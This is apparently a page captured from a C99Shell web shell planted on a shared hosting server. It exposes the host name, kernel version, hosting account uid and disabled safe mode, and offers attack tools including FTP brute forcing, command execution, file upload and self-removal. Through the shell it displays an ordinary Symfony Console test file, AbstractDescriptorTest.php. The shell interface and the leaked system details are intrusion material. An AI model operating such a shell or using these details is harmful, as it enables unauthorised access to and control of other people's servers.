!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Console/Symfony/Component/Console/Tests/Descriptor/   drwxr-xr-x
Free 294.19 GB of 429.69 GB (68.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbstractDescriptorTest.php (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Tests\Descriptor;

use 
Symfony\Component\Console\Application;
use 
Symfony\Component\Console\Command\Command;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputDefinition;
use 
Symfony\Component\Console\Input\InputOption;
use 
Symfony\Component\Console\Output\BufferedOutput;

abstract class 
AbstractDescriptorTest extends \PHPUnit_Framework_TestCase
{
    
/** @dataProvider getDescribeInputArgumentTestData */
    
public function testDescribeInputArgument(InputArgument $argument$expectedDescription)
    {
        
$this->assertDescription($expectedDescription$argument);
    }

    
/** @dataProvider getDescribeInputOptionTestData */
    
public function testDescribeInputOption(InputOption $option$expectedDescription)
    {
        
$this->assertDescription($expectedDescription$option);
    }

    
/** @dataProvider getDescribeInputDefinitionTestData */
    
public function testDescribeInputDefinition(InputDefinition $definition$expectedDescription)
    {
        
$this->assertDescription($expectedDescription$definition);
    }

    
/** @dataProvider getDescribeCommandTestData */
    
public function testDescribeCommand(Command $command$expectedDescription)
    {
        
$this->assertDescription($expectedDescription$command);
    }

    
/** @dataProvider getDescribeApplicationTestData */
    
public function testDescribeApplication(Application $application$expectedDescription)
    {
        
// Replaces the dynamic placeholders of the command help text with a static version.
        // The placeholder %command.full_name% includes the script path that is not predictable
        // and can not be tested against.
        
foreach ($application->all() as $command) {
            
$command->setHelp(str_replace('%command.full_name%''app/console %command.name%'$command->getHelp()));
        }

        
$this->assertDescription($expectedDescription$application);
    }

    public function 
getDescribeInputArgumentTestData()
    {
        return 
$this->getDescriptionTestData(ObjectsProvider::getInputArguments());
    }

    public function 
getDescribeInputOptionTestData()
    {
        return 
$this->getDescriptionTestData(ObjectsProvider::getInputOptions());
    }

    public function 
getDescribeInputDefinitionTestData()
    {
        return 
$this->getDescriptionTestData(ObjectsProvider::getInputDefinitions());
    }

    public function 
getDescribeCommandTestData()
    {
        return 
$this->getDescriptionTestData(ObjectsProvider::getCommands());
    }

    public function 
getDescribeApplicationTestData()
    {
        return 
$this->getDescriptionTestData(ObjectsProvider::getApplications());
    }

    abstract protected function 
getDescriptor();
    abstract protected function 
getFormat();

    private function 
getDescriptionTestData(array $objects)
    {
        
$data = array();
        foreach (
$objects as $name => $object) {
            
$description file_get_contents(sprintf('%s/../Fixtures/%s.%s'__DIR__$name$this->getFormat()));
            
$data[] = array($object$description);
        }

        return 
$data;
    }

    private function 
assertDescription($expectedDescription$describedObject)
    {
        
$output = new BufferedOutput(BufferedOutput::VERBOSITY_NORMALtrue);
        
$this->getDescriptor()->describe($output$describedObject, array('raw_output' => true));
        
$this->assertEquals(trim($expectedDescription), trim(str_replace(PHP_EOL"\n"$output->fetch())));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0045 ]--